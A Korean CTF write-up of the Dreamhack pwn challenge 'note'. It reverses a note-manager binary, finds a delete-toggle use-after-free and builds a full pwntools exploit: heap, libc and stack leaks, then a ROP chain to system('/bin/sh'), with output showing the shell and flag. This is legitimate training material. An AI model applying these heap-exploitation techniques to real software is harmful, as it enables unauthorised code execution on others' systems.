[문제 링크](https://dreamhack.io/wargame/challenges/1887)
문제는 binary 파일과 dockerfile이 존재한다.
1. 분석
gdb로 보면 free, puts, printf, read, strtoull, malloc, setvbuf, atoi, exit은 존재한다. main 함수는 존재하지 않으니 pet pals문제처럼 gdb로 __libc_start_call_main에서 찾아 들어갔다.
일단 사용자 함수들은 다음과 같다.
main() {
initialize()
puts("** Don't worry! it's just note challenge! **")
input:
menu()
printf("> ")
read(0, rbp-0xa, 2)
*(int*)(rbp-0x10) = atoi(rbp-0xa)
if(*(int*)(rbp-0x10) > 5) {
goto input
}
switch(*(int*)(rbp-0x10)) {
case 0: goto input;
case 1: create_note(); goto input;
case 2: delete_node(); goto input;
case 3: edit_note(); goto input;
case 4: print_note(); goto input;
case 5: exit(0)
}
}
initialize() {
setvbuf(stdin, 0,2,0)
setvbuf(stdout, 0,2,0)
setvbuf(stderr, 0,2,0)
}
menu() {
puts("1. create note")
puts("2. delete note")
puts("3. edit note")
puts("4. print note")
puts("5. exit")
}
create_note() {
printf("idx > ")
*(int*)(rbp-0x1c) = set_idx()
if(check_idx(*(int*)(rbp-0x1c)) != 0) {
*(long*)(*(int*)(rbp-0x1c)*8 + 0x555555558060) = malloc(0x20)
*(long*)(*(long*)(*(int*)(rbp-0x1c)*8 + 0x555555558060)+0x18) = malloc(0x100)
printf("name size > ")
*(long*)(rbp-0x18) = set_name_size()
*(long*)(*(long*)(*(int*)(rbp-0x1c)*8 + 0x555555558060)+0x10) = malloc(*(long*)(rbp-0x18))
*(long*)(*(long*)(*(int*)(rbp-0x1c)*8 + 0x555555558060)+0x00) = *(long*)(rbp-0x18)
*(long*)(*(long*)(*(int*)(rbp-0x1c)*8 + 0x555555558060)+0x08) = (long)(*(int*)(rbp-0x1c))
printf("name > ")
read(
0,
*(long*)(*(long*)(*(int*)(rbp-0x1c)*8 + 0x555555558060)+0x10),
*(long*)(*(long*)(*(int*)(rbp-0x1c)*8 + 0x555555558060)+0x00)
)
printf("content > ")
read(
0,
*(long*)(*(long*)(*(int*)(rbp-0x1c)*8 + 0x555555558060)+0x18),
0x100
)
*(int*)(*(int*)(rbp-0x1c)*4 + 0x5555555580e0) = 0
*(long*)(*(int*)(rbp-0x1c)*8 + 0x555555558120) = *(long*)(rbp-0x18)
return *(long*)(rbp-0x18) // rbx = *(long*)(rbp-0x8)
}
else {
puts("[!] out of bound!")
return 0 // rbx = *(long*)(rbp-0x8)
}
}
delete_node() {
printf("idx > ")
*(int*)(rbp-0x4) = set_idx()
if(*(int*)(*(int*)(rbp-0x4)*4 + 0x5555555580e0) != 0) {
puts("[!] Already deleted!")
}
if(*(int*)(*(int*)(rbp-0x4)*4 + 0x5555555580e0) != 0) {
goto f564d
}
if(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060) == 0) {
goto f564d
}
free(*(long*)(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060)+0x18))
free(*(long*)(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060)+0x10))
free(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060))
puts("[*] Delete success!")
f564d:
*(int*)(*(int*)(rbp-0x4)*4 + 0x5555555580e0) = (*(int*)(*(int*)(rbp-0x4)*4 + 0x5555555580e0) == 0) ? 1 : 0
}
edit_note() {
printf("idx > ")
*(int*)(rbp-0x4) = set_idx()
if(*(int*)(*(int*)(rbp-0x4)*4 + 0x5555555580e0) != 0) {
puts("[!] Already deleted note.")
return;
}
if(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060) == 0) {
puts("[!] Not exist note.")
return;
}
printf("name > ")
read(
0,
*(long*)(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060)+0x10)
*(long*)(*(int*)(rbp-0x4)*8+0x555555558120)
)
printf("content > ")
read(
0,
*(long*)(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060)+0x18),
0x100
)
}
print_note() {
printf("idx > ")
*(int*)(rbp-0x4) = set_idx()
if(*(int*)(*(int*)(rbp-4)*4 + 0x5555555580e0) != 0) {
puts( "[!] Already deleted note.")
return;
}
if(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060) == 0) {
puts("[!] Not exist note.")
return;
}
printf("name : %s\n", *(long*)(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060)+0x10))
printf("content : %s\n", *(long*)(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060)+0x18))
}
set_idx() {
read(0, rbp-0x12, 0xa)
return atoi(rbp-0x12)
}
check_idx(a) {
*(int*)(rbp-0x4) = a
if(a < 0) {
return 0;
}
if(a <= 0xf) {
return 1;
}
}
set_name_size() {
read(0, rbp-0x20, 0x16)
return strtoull(rbp-0x20, 0, 10)
}
checksec은 다음과 같다.
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
이런 말도 안되는. 그냥 다 걸려있다.
2. 코드 흐름
1) 사용자에게 입력을 받음
- 1일때
1.1. idx를 입력받음
1.2. idx가 0~15이면 다음으로, 아니면 함수 종료
1.3. 0x20만큼의 구조체 생성. 구조체는 아래의 note 구조체임
1.4. content위치에 0x100만큼의 힙 영역 할당
1.5. name size를 입력받음
1.6. name위치에 사용자 입력만큼 힙 영영 생성
1.7. idx와 name_size 저장
1.8. name과 content 입력받음
1.9 deleted 상태를 저장하는 위치에 0으로 초기화
1.10. name_size_list를 저장하는 위치에 name_size 저장
- 2 일때
2.1. idx를 입력받음
2.2. deleted 되었는지 확인
2.3. deleted 되지 않았다면 free
2.4. deleted 상태 토글
- 3 일때
3.1. idx 입력받음
3.2. deleted되었는지 확인
3.3. deleted 되지 않았다면 name과 content 입력받음
- 4 일때
4.1. idx 입력받음
4.2. deleted 되지 않았다면 name과 content 출력
앞서 말한 note 구조체는 다음과 같다.
struct note {
long name_size;
int idx;
char* name;
char* content;
};
3. 삽질 정리
시나리오를 바로 보여주기 보단 사고의 흐름과 삽집을 한 과정을 정리하는게 내 공부에 도움일 될 것 같아
1. Heap 공부 및 free tcache 분석
chat gpt에게 근무지에 가기 전에 heap 관련 공부 내용을 정리해 달라고 하여 쭉 읽었다. 근데, free한 이후를 gpt가 정리해준 파일에서는 알수가 없었기 때문에 직접 분석해보았다.
free하는 c파일을 작성해서 gdb로 일일이 확인 했다.
확인 결과 chunk는 다음과 같았다.
---------------------------
| prev_data | size + flag |
|-------------------------|
| next | tcache_key |
---------------------------
next부터가 user data이다.
2. tcache_key를 이용한 Tcache Free Bug 시도
1. free되지 않은 힙 영역에 tcache_key를 위치에 넣고 이전 tcache에 들어있는 chunk에 user_data의 맞는 위치에 tcache_key를 넣어봤더니 free하지 않은 영역도 tcache에 들어갔다.
2. 이미 free한 chunk의 tcache_key를 0를 넣어서 free를 시도하니 Double Free Bug가 유도됐다.
3. 지금까지 tcache_key를 지정된 위치에 넣고 이전 free된 chunk에서 next를 해당 위치로 바꾸면 free한 것을 변조할 수 있다는 것을 알았기 때문에 stack에 시도해보았으나 이는 실행되지 않았다.
3. 코드 리버싱
근무지에서 리버싱을 진행했다. 근무지에서는 문제 파일을 볼수가 없었기 때문에 어셈블리 파일과 data를 정리해 가져가 리버싱 했다.
4. delete 토글 발견
코드를 볼면 알겠지만, idx가 맞지 않아도, 이미 free되어있어도 delete 상태가 delete를 실행할때마다 상태 토글링이 일어난다. 이걸 이용하면 Use After Free가 가능했다.
5. tcache reuse 시나이로 구성
note는 0x20만큼의 사이즈이다. 그때문에 0x20만큼의 name을 같이 할당한후 free하고 다시 malloc한다면 0x20만큼의 사이즈를 가진 힙 공간에 그 공간이 할당 될것이다. 이와 앞의 delete토글을 이용하면 name과 note가 겹치게 된다.
해당 시나리오는 다음과 같다.
1) notes[14]와 notes[15]에 0x20으로 name을 만든다.
2) notes[14]와 notes[15]를 free한다.
3) delete 토글을 이용해 uaf가 가능하게 한다.
4) 재 할당시 notes[0]의 namesize를 0x100 등, 0x20과 다른 값을 사용하면 tcache에는 name과 note가 다음에 할당할 순서과 다르게 들어있게 된다.
5) 다음 할당시 note[14]->name이 notes[0]에 할당되게 된다.
tcache를 보면 다음과 같을 것이다.
head -> note15 -> name15 -> note14 -> name14
note15 => note0
name15 => note1
note14 => name1
6. UAF Read로 가능한 leak
UAF Read중 tcache에서 가능한 leak은 heap leak과 tcache_key leak이다.
이때까지만 해도 tcache leak을 사용해서 Double Free Bug 후 tcache poisoning 등을 일으킬 가능성이 있었기 때문에 tcache_key도 leak해냈지만 지금 보면, uaf write와 uaf read가 모두 되기 때문에 결과론 적으로는 사용하지 않았다.
7. unsorted bin에서 libc leak
사실 unsorted bin에서 libc를 leak할수 있다는 것을 몰랐다.
그러나, 전에 문제를 풀때 heap에서 어느 정도 크기에서는 libc의 어떤 값을 leak했던 기억이 있었기 때문에 구글링 하여 unsorted bin에서 가능하단것을 알았다.
시나리오는 다음과 같다.
1) 적당한 크기의 힙 영역을 할당한후 free
2) free한 user_data 공간을 읽어 fd와 bk를 leak
3) fd에서 main_arena를 leak한다.
익스 코드를 생성하며 문제가 발생했는데 free할때 해당 chunk가 top chunk에 consolidation되는 것이다.
이때문에 같은 name_size를 가진 name을 가진 note를 두개 만들어 문제를 해결했다.
8. main_arena를 leak한 이후 이를 바탕으로 필요한 정보 계산
libc를 leak해낸 후 내가 필요하다고 생각한 것은 environ이었다. 이를 이용하면 stack을 leak할수 있었고, 이를 이용하면 ret를 계산해낼수 있으며, name과 note가 겹치는 것을 이용해 name을 수정하여 note의 name 주소를 변경하면 ret를 edit할 수 있었기 때문이다.
9. stack leak
앞서 ret를 edit하는 과정과 같다. 앞서 name과 note가 겹치는 부분을 만들어뒀기 때문에 name을 수정하여 name 부분에 __environ값을 넣는다. 이후, name을 출력하면 __environ의 값, 즉 stack이 leak이 된다. 이를 이용해 gdb로 내가 원하는 위치까지의 offset을 구해 saved rip가 저장된 stack 주소를 얻었다.
10. One Gadget 시도
이때 ret도 덮을 수 있으니 쉽게 one shot gadget으로 덮어 shell을 얻으려 했다.
허나, 실행되지 않았고 gdb로 따라가본 결과 r13을 rsp로 하고, 스택을 이용하는 부분이 있었는데 r13이 0이어서 문제가 발생했었다. 어쩔수 없이 ROP Chain을 짜야했다.
11. gadget 찾기
일단, prob파일에는 pop rdi; ret; 가젯이 존재하지 않았다. 또, 이를 하려면 pie를 leak해야했는데 이거까지 하기엔 이미 있는걸 사용하면 될것 같아 libc파일에서 가젯을 찾아보니 존재했기에 이미 leak한 libc주소를 이용해 gadget을 구했다.
12. system 함수 계산
rdi에 /bin/sh를 넣는것까지 됐으니 system 함수의 offset을 통해 주소를 구했다.
13. rop chain 구성
rop chain은 다음과 같았다.
poprdi gadget + /bin/sh가 들어있는 stack 주소 + system주소 + /bin/sh
근데 문제가 생겼다. 실행되지 않았다.
14. stack align 맞추기
gdb를 통해 따라가보니 stack align부분에서 코드가 터지고 있었다. 이때문에 ret가젯도 libc에서 찾아 ROP Chain을 구성했다.
다음과 같다.
ret gadget + poprdi gadget + /bin/sh가 들어있는 stack 주소 + system주소 + /bin/sh
근데도 실행이 안됐다.
15. heap으로 /bin/sh 이동
system함수에서 실행되는 과정에서 스택은 변조될수도 있기 때문에 /bin/sh 를 힙에 저장하고 leak한 heap 주소를 넣었다.
이때, /bin/sh;name1로 되어있다. read가 \x00이후 값도 읽을수 있다는 것을 알고 있지만, 지금까지 이상한 부분에서 터지는 일이 많다고 느꼈고, 그에 피로감을 느꼈기 때문에 안전하게 세미클론(;)으로 연결했다.
rop chain은 다음과 같다.
ret gadget + poprdi gadget + /bin/sh가 들어있는 heap 주소 + system주소
어라, 근데 또 안된다.
16. 코드상 문제
나는 edit_note를 실행하고 print_note의 ret에 맞춰뒀기 때문에 print_note까지 실행하도록 코드를 구성했다.
근데 gdb로 뜯어보니 edit_note에서 이미 쉘을 얻었다.
생각해보니 어차피 ret를 바꿨고, print_note를 실행하면 당연이 ret는 바뀌게 되어있고, edit_note와 ret의 스택 위치와 print_note의 ret 스택 위치가 같을 것이기 때문에 print_note를 빼고 실행해봤다.
아주 잘된다.
*추가로 한 삽질*
코드를 보면 create_note를 제외하고는 모두 idx 체킹이 없다. 이때문에 notes 근처의 모든 값들을 출력해보았다.
허나, 내가 얻을 수 있는 정보로는 stdout의 주소도 아니고 그 값뿐이어서 이 것은 사용하지 않았다.
추가로 가젯을 찾는 부분에서 pie leak을 할 수 없었냐라고 하면 가능은 했다. 코드상에서 덮은 saved rip에는 main함수의 명령주소가 들어있었다. 이를 코드에서는 uaf write하여 변조를 했지만, uaf read하였다면 pie leak도 가능은 했을 것이다.
4. exploit 코드
from pwn import *
p = remote("host3.dreamhack.games", 14618)
# p = process("localhost", 1337)
# p = process("./prob")
# offset_leaked_main_arena = 96
# offset_main_arena = 0x203ac0
# offset_environ = 0x20ad58;
# offset_system = 0x58750
# offset_popRdi_gadget = 0x000000000010f78b;
# offset_ret_environ = -336
# offset_ret_gadget = 0x000000000002882f
offset_leaked_main_arena = 0x60
offset_main_arena = 0x21ac80
offset_environ = 0x222200;
offset_system = 0x50d70
offset_popRdi_gadget = 0x000000000002a3e5;
offset_ret_environ = -320 # 문제임.
offset_ret_gadget = 0x0000000000029cd6
def create_note(idx, name_size, name, content):
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"idx > ", f"{idx}".encode())
p.sendlineafter(b"name size > ", f"{name_size}".encode())
p.sendafter(b"name > ", name)
p.sendafter(b"content > ", content)
def delete_note(idx):
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"idx > ", f"{idx}".encode())
def edit_note(idx, name, content):
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"idx > ", f"{idx}".encode())
p.sendafter(b"name > ", name)
p.sendafter(b"content > ", content)
def print_note(idx):
p.sendlineafter(b"> ", b'4')
p.sendlineafter(b"idx > ", f"{idx}".encode())
p.recvuntil(b"name : ")
name = b"".join(p.recvline().split(b"\n")[:-1])
p.recvuntil(b"content : ")
content = b"".join(p.recvline().split(b"\n")[:-1])
return {
"name": name,
"content": content
}
def fit(s, size=8):
return u64(s + b"\x00" * (size-len(s)))
# 할당 & 해제
print("Allocate note 14, 15 & Free note 14, 15")
create_note(14, 0x20, b"name14", b"content14")
create_note(15, 0x20, b"name15", b"content15")
delete_note(14)
delete_note(15)
# delete되지 않은 것처럼 변조
print("Toggle note 14, 15 like it is not deleted")
delete_note(14)
delete_note(15)
# heap leak
print("------ heap leak ------")
note14 = print_note(14)
note15 = print_note(15)
safeLinkFilter0x20 = fit(note14["name"]) # safe linking filter가 들어있음.
note14_pointer = safeLinkFilter0x20 ^ fit(note15["name"]) # note14 주소 => heap leak
print(f"safe link filter : {hex(safeLinkFilter0x20)}\nnote14 pointer : {hex(note14_pointer)}")
print()
# tcache key leak
print("------ tcache_key leak ------")
edit_note(14, b"AAAAAAAA", b"AAAA")
note14 = print_note(14)
tcahce_key = fit(note14["name"].split(b"AAAAAAAA")[1])
print(f"tcache_key: {hex(tcahce_key)}")
print()
# libc leak
print("------ libc leak ------")
print("Allocate note 0, 1")
print("As my hypothesis, \n note0 is note 15(True)\n note14 is name 1(True)\n")
create_note(0, 0x200, b"name0", b"content0") # note 0 == note 15 (True)
create_note(1, 0x20, b"name1 name1 ", b"content1") # name 1 == note 14 (True)
print("Allocate note 2, 3 which name size is 0x450")
create_note(2, 0x450, b"name2", b"content2")
create_note(3, 0x450, b"name3", b"content3")
print("Free note 2, 3, and the freed chunk goes to unsorted bin")
delete_note(2)
delete_note(2)
print("Toggle note2, note3 like it is not deleted")
delete_note(3)
delete_note(3)
main_arena_base = fit(print_note(2)["name"]) - offset_leaked_main_arena
libc_base = main_arena_base - offset_main_arena
environ = libc_base + offset_environ
poprdi = libc_base + offset_popRdi_gadget
retGadget = libc_base + offset_ret_gadget
system = libc_base + offset_system
print("main arena is " + hex(main_arena_base))
print("libc base is " + hex(libc_base))
print("environ is " + hex(environ))
print("gadget(pop rdi;ret) is " + hex(poprdi))
print("gadget(ret) is " + hex(retGadget))
print("system is " + hex(system))
print()
#stack leak
print("------ stack leak ------")
print("Edit name1 to environ then, name of note14 goes to environ.\nPrint name14 is the value of environ")
edit_note(1, b"name1 name1 " + p64(environ), b"test")
environ_leak = fit(print_note(14)["name"])
ret = environ_leak+offset_ret_environ
print("environ leak is " + hex(environ_leak))
print("ret is " + hex(ret))
# get shell
print("get shell")
edit_note(1, b"/bin/sh;name1 " + p64(ret), b"test")
edit_note(14, p64(retGadget) +p64(poprdi) + p64(note14_pointer) + p64(system), b"")
p.interactive()
5. 결과
Allocate note 14, 15 & Free note 14, 15
Toggle note 14, 15 like it is not deleted
------ heap leak ------
safe link filter : 0x58111af50
note14 pointer : 0x58111af502a0
------ tcache_key leak ------
tcache_key: 0x613d0f70c06817b2
------ libc leak ------
Allocate note 0, 1
As my hypothesis,
note0 is note 15(True)
note14 is name 1(True)
Allocate note 2, 3 which name size is 0x450
Free note 2, 3, and the freed chunk goes to unsorted bin
Toggle note2, note3 like it is not deleted
main arena is 0x7cfaee10ac80
libc base is 0x7cfaedef0000
environ is 0x7cfaee112200
gadget(pop rdi;ret) is 0x7cfaedf1a3e5
gadget(ret) is 0x7cfaedf19cd6
system is 0x7cfaedf40d70
------ stack leak ------
Edit name1 to environ then, name of note14 goes to environ.
Print name14 is the value of environ
environ leak is 0x7ffd776b2d28
ret is 0x7ffd776b2be8
get shell
[*] Switching to interactive mode
$ pwd
$ pwd
/home/pwn
$ ls
flag
prob
$ cat flag
DH{**flag**}
6. 생각
진짜 이번엔 heap을 배운다는 생각으로 진행했다. 그과정에서 삽질도 많이 했지만 그 과정이 단순히 삽질만은 아니었던것 같다. oob가 되는지 싹다 확인했기 때문에 확실히 익스과정에서 배제할수 있었고, 이전에 했던 공격 기법을 총집합해서 사용한것 같다.
또한, 저번 pet pals 풀때는 주석을 잘 남겨야겠다라고 생각을 했었다. 근데, 생각해보니 코드 실행과정에서 어떻게 실행되고 있는지까지 알아야하기 때문에 print를 주석이자 화면에 진행상황 표시 및 디버깅용으로 사용한 것 같다.
하나하나 찾는건 오래 안걸렸지만, 그렇다고 머리를 얼마나 사용했느냐하면 pet pals 때보다도 더 사용한 것 같다. 진짜 풀다가 머리에 열이 오르는 느낌이 들었다.
이 문제를 보니, 알고 있어야하는것에는 _IO_FILE과 FSOP가 있는데 도저히 이걸 어떻게 사용하라는 건지 모르겠고, 또, 워낙 LEAK할 수 있는게 많기 때문에 풀이도 여러개 있을 것 같다. 공식 풀이정도는 읽어보겠지만, 각 사람마다 풀이과정이 다 다를것 같은데 보지 못하는 것은 아쉬움이 남는다.
진짜 재밌는 문제였던 것 같다.
'보안 > 시스템해킹' 카테고리의 다른 글
| [Dreamhack][시스템해킹] note (0) | 2026.09.05 |
|---|---|
| [Dreamhack][시스템해킹] pet pals - 드림핵 서버 익스 (0) | 2026.08.15 |
| [Dreamhack][시스템해킹] pet pals (0) | 2026.08.14 |
| [Dreamhack][시스템 해킹] dreamvm (0) | 2026.07.18 |
| [시스템 해킹][Dreamhack] string (0) | 2026.07.11 |